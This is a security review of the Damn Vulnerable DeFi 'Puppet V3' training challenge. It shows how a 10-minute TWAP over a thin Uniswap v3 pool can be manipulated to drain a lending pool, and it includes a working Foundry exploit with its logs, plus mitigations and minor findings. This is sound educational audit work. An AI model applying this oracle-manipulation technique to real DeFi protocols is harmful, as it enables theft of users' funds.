Puppet V3 Security Review

Damn Vulnerable DeFi, Puppet V3 Security Review

Prepared by: SnavOhBurmaa

Lead Auditors: Khant Wai Yan Aung (SnavOhBurmaa)

date: August 10, 2026

Table of contents

See table

About Me

I'm a smart contract auditor focus on EVM and Solidity protocols. This review was carried out as part of independent security practice on the Damn Vulnerable DeFi training set.

Disclaimer

I made every effort to find as many vulnerabilities as possible, fixing the issues described here does not guarantee the contracts are free of all bug.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The project is Damn Vulnerable DeFi v4, the Puppet V3 challenge. The reviewed version use `pragma solidity =0.8.25` (DVD v4). The reviewer is Khant Wai Yan Aung (SnavOhBurmaa) and the date is August 10, 2026. Tools used were manual review and Foundry (forge) for the PoC, Slither, Aderyn. The PoC runs on a mainnet fork pinned to block 15450164, so it needs `MAINNET_FORKING_URL` set in `.env`.

Scope

```
src/puppet-v3/
  PuppetV3Pool.sol
```

Protocol Summary

Puppet V3 is a small lending pool. You can borrow Damn Valuable Tokens (DVT) from the pool if you first leave three times their value in WETH as collateral.

This is the third try after Puppet V1 and V2. Both of those read a spot price, the price at the exact block, so anyone could flip it inside one transaction. This time the team moved to a Uniswap v3 pool and read a 10 minute TWAP, a time weighted average price. The idea is that an average can not be moved in an instant, so it should be safe.

To find the value of DVT the pool asks the Uniswap v3 pool for its average tick over the last 10 minutes with `OracleLibrary.consult`, then turns that tick into a price. In the test the pool holds 1,000,000 DVT. The Uniswap pool starts with 100 WETH and 100 DVT minted in a thin band of ticks -60 to +60, so one DVT is worth about 1 WETH. The player starts with 1 ETH and 110 DVT. The goal is to take all tokens out of the pool and send them to a recovery account in under 115 seconds.

Roles

There are two roles. The deployer sets up the pool and points it at the DVT token, the WETH token and the Uniswap v3 pool. The player is a normal user with 1 ETH and 110 DVT who must drain the pool. There is no admin key on the price. Anyone who can trade on Uniswap can move the price the pool reads.

Executive Summary

The pool trusts a price it does not control. Moving from a spot price to a 10 minute TWAP is a real improvement, but it is not enough here, because the oracle pool is tiny and the averaging window is short. Manipulating the oracle still costs far less than the value it protects.

The Uniswap pool holds only 100 WETH and 100 DVT, and all of that liquidity sits in a thin band of ticks -60 to +60. The player holds 110 DVT, more than the whole DVT side of the pool. By dumping the 110 DVT the price crashes through the band and the tick falls to almost the minimum. Because the TWAP averages ticks and price is `1.0001^tick`, a short spike drags the reported price down hard. After crashing the price and waiting only 114 seconds, the deposit for all 1,000,000 DVT falls from 3,000,000 WETH to about 0.143 WETH. The player pays that small deposit, borrows every token, and sends them to recovery. This is a price oracle manipulation, the same lesson as Puppet V1 and V2, now against a Uniswap v3 TWAP that is too cheap to trust.

Issues found

Severity	Number of issues found
High	1
Medium	0
Low	1
Informational	2
Total	4

ID	Title	Severity
[H-1]	A 10 minute TWAP over a tiny Uniswap v3 pool is too cheap to trust, so an attacker drains the whole pool in under 2 minutes	High
[L-1]	`borrow` writes state after an external call, so it does not follow checks effects interactions	Low
[I-1]	Return value of the WETH `transferFrom` is not checked	Informational
[I-2]	Empty `require` has no reason string	Informational

Findings

High

[H-1] A 10 minute TWAP over a tiny Uniswap v3 pool is too cheap to trust, so an attacker drains the whole pool in under 2 minutes

Description:

The pool decides how much WETH a borrower must deposit from a price, and that price is a 10 minute average tick read from one small Uniswap v3 pool.

```
// src/puppet-v3/PuppetV3Pool.sol:56-71
function calculateDepositOfWETHRequired(uint256 amount) public view returns (uint256) {
    uint256 quote = _getOracleQuote(_toUint128(amount));
    return quote * DEPOSIT_FACTOR;
}

function _getOracleQuote(uint128 amount) private view returns (uint256) {
    (int24 arithmeticMeanTick,) = OracleLibrary.consult({pool: address(uniswapV3Pool),
secondsAgo: TWAP_PERIOD});
    return OracleLibrary.getQuoteAtTick({
        tick: arithmeticMeanTick,
        baseAmount: amount,
        baseToken: address(token),
        quoteToken: address(weth)
    });
}
```

This is better than Puppet v1 and v2, which read the spot price and could be flipped inside one transaction. A TWAP can not be moved in an instant, you have to hold the fake price across real time. So this is not a "no oracle" bug. The bug is that the oracle is far too weak for the value it guards.

Two things break it.

The oracle pool is tiny and thin. The pool holds only 100 WETH and 100 DVT, and that liquidity is minted in ticks -60 to +60, a band of about plus or minus 0.6 percent around the 1 to 1 price. There is no liquidity anywhere else on the curve. The player holds 110 DVT, which is more than the whole DVT side of the pool. When the player sells all 110 DVT, it blows straight through the thin band and out the other side into empty space, so nothing stops the price. The tick falls to roughly the minimum tick and DVT becomes worth almost nothing.

A 10 minute TWAP does not need 10 minutes to poison. `consult` returns the average tick over the last 600 seconds. The average is taken in tick space, but price is `1.0001^tick`, so a linear average of ticks is a geometric average of prices. One short extreme tick drags the whole result down. The window before the dump was clean at tick 0 for 3 days, so the player only has to crash the tick and wait about 114 seconds. Even though the crash fills less than a fifth of the 600 second window, the reported price drops by about 7 orders of magnitude.

The success check in the test proves this on purpose, the whole attack must land in under 115 seconds.

```
// test/puppet-v3/PuppetV3.t.sol:122
assertLt(block.timestamp - initialBlockTimestamp, 115, "Too much time passed");
```

Impact:

Likelihood `High` . The pool is open to everyone and the player already holds more DVT than the whole pool does. Risk `High` . The full pool balance, 1,000,000 DVT, is taken.

Proof of Concept:

The attacker sells 110 DVT to crash the Uniswap price, waits 114 seconds for the fake price to affect the TWAP, borrows 1,000,000 DVT with tiny WETH collateral, then sends the stolen DVT to recovery.

```
function test_puppetV3Exploit() public {
    vm.startPrank(player, player);

    console.log("BEFORE ATTACK");
    console.log("deposit for all DVT :",
lendingPool.calculateDepositOfWETHRequired(LENDING_POOL_INITIAL_TOKEN_BALANCE));
    console.log("player ETH          :", player.balance);
    console.log("player DVT          :", token.balanceOf(player));
    console.log("pool DVT            :", token.balanceOf(address(lendingPool)));

    // 1. wrap the 1 ETH into WETH so we can pay the deposit later
    weth.deposit{value: PLAYER_INITIAL_ETH_BALANCE}();

    // 2. dump all 110 DVT into the tiny pool to crash the tick to the bottom
    token.approve(address(swapRouter), PLAYER_INITIAL_TOKEN_BALANCE);
    swapRouter.exactInputSingle(
        ISwapRouter.ExactInputSingleParams({
            tokenIn: address(token),
            tokenOut: address(weth),
            fee: FEE,
            recipient: player,
            deadline: block.timestamp,
            amountIn: PLAYER_INITIAL_TOKEN_BALANCE,
            amountOutMinimum: 0,
            sqrtPriceLimitX96: 0
        })
    );

    // 3. let the poisoned tick soak into the 10 min TWAP (stay under the 115s)
    vm.warp(block.timestamp + 114);

    uint256 deposit =
lendingPool.calculateDepositOfWETHRequired(LENDING_POOL_INITIAL_TOKEN_BALANCE);
    console.log("AFTER DUMP + WARP");
    console.log("deposit for all DVT :", deposit);
    console.log("player WETH         :", weth.balanceOf(player));

    // 4. borrow every token for a tiny deposit and hand it to recovery
    weth.approve(address(lendingPool), deposit);
    lendingPool.borrow(LENDING_POOL_INITIAL_TOKEN_BALANCE);
    token.transfer(recovery, LENDING_POOL_INITIAL_TOKEN_BALANCE);

    vm.stopPrank();

    console.log("AFTER ATTACK");
```

```
    console.log("time passed (s)     :", block.timestamp - initialBlockTimestamp);
    console.log("pool DVT            :", token.balanceOf(address(lendingPool)));
    console.log("recovery DVT        :", token.balanceOf(recovery));

    assertLt(block.timestamp - initialBlockTimestamp, 115, "Too much time passed");
    assertEq(token.balanceOf(address(lendingPool)), 0, "pool still has tokens");
    assertEq(token.balanceOf(recovery), LENDING_POOL_INITIAL_TOKEN_BALANCE, "recovery did
not get all tokens");
}
```

```
Ran 1 test for test/puppet-v3/PuppetV3PoC.t.sol:PuppetV3PoC
[PASS] test_puppetV3Exploit() (gas: 776572)
Logs:
  BEFORE ATTACK
  deposit for all DVT : 3000000000000000000000000
  player ETH          : 1000000000000000000
  player DVT          : 110000000000000000000
  pool DVT            : 100000000000000000000000000
  recovery DVT        : 0
  AFTER DUMP + WARP
  deposit for all DVT : 143239918968367545
  player WETH         : 100999999999999999999
  AFTER ATTACK
  time passed (s)     : 114
  pool DVT            : 0
  recovery DVT        : 100000000000000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped
```

Before the attack, 1,000,000 DVT needs 3,000,000 WETH, but after crashing the price, only ~0.143 WETH is needed, while the attacker has ~101 WETH, so they borrow all 1,000,000 DVT and send it to recovery in just 114 seconds.

Recommended Mitigation:

The problem is that manipulating the oracle costs far less than the value it protects. Fix that, not the TWAP length alone.

1 Price against a deep, high volume pool, or a proven feed like Chainlink, not the protocol's own thin pool. 2 Lengthen the TWAP window a lot, a few minutes is not enough for a low liquidity pool. 3 Require a minimum in range liquidity before trusting the price. 4 Cross check the TWAP against the spot price and revert when they differ too much. That single check kills this attack, because spot and TWAP stay far apart for the full 114 seconds.

Low

[L-1] `borrow` writes state after an external call, so it does not follow checks effects interactions

Description:

```
// src/puppet-v3/PuppetV3Pool.sol:45-51
weth.transferFrom(msg.sender, address(this), depositOfWETHRequired); // external call

deposits[msg.sender] += depositOfWETHRequired;                        // state written
after

TransferHelper.safeTransfer(address(token), msg.sender, borrowAmount);
```

The contract updates the user's deposit after calling `transferFrom()`, which is unsafe because an external token contract could call back into `borrow()` before the deposit is recorded. It is safe with normal WETH because WETH does not call back, but it could become vulnerable if a callback enabled token were used instead.

Location `src/puppet-v3/PuppetV3Pool.sol:45-51`.

Impact:

Likelihood `Low` . Safe only because the token is standard WETH.

Risk `Low`

Proof of Concept:

N/A

Recommended Mitigation:

Move the accounting up before any external call.

```
+ deposits[msg.sender] += depositOfWETHRequired;
  weth.transferFrom(msg.sender, address(this), depositOfWETHRequired);
- deposits[msg.sender] += depositOfWETHRequired;
  TransferHelper.safeTransfer(address(token), msg.sender, borrowAmount);
```

Informational

[I-1] Return value of the WETH `transferFrom` is not checked

Description:

The pool ignores the boolean returned by the WETH pull.

```
// src/puppet-v3/PuppetV3Pool.sol:45
weth.transferFrom(msg.sender, address(this), depositOfWETHRequired);
```

This is safe with real WETH because a failed transfer will revert the transaction. However, the contract does not check whether transferFrom() actually succeeded. If a different token simply returned false instead of reverting, the pool could record the deposit even though it never received the WETH.

Location `src/puppet-v3/PuppetV3Pool.sol:45`.

Impact:

Likelihood `Low`. Standard WETH reverts on failure. Risk `Info`

Proof of Concept:

N/A

Recommended Mitigation:

Use the same safe transfer helper the contract already uses for the token side.

```
- weth.transferFrom(msg.sender, address(this), depositOfWETHRequired);
+ TransferHelper.safeTransferFrom(address(weth), msg.sender, address(this),
        depositOfWETHRequired);
```

[I-2] Empty `require` has no reason string

Description:

The overflow guard in `_toUint128` reverts with no message.

```
// src/puppet-v3/PuppetV3Pool.sol:71-73
function _toUint128(uint256 amount) private pure returns (uint128 n) {
    require(amount == (n = uint128(amount)));
}
```

If a borrow amount does not fit in a `uint128` the call reverts with an empty reason, which is hard to debug.

Impact:

Likelihood `Low` Risk `Info`

Recommended Mitigation:

Add a custom error, `if (amount != (n = uint128(amount))) revert AmountTooLarge();`.
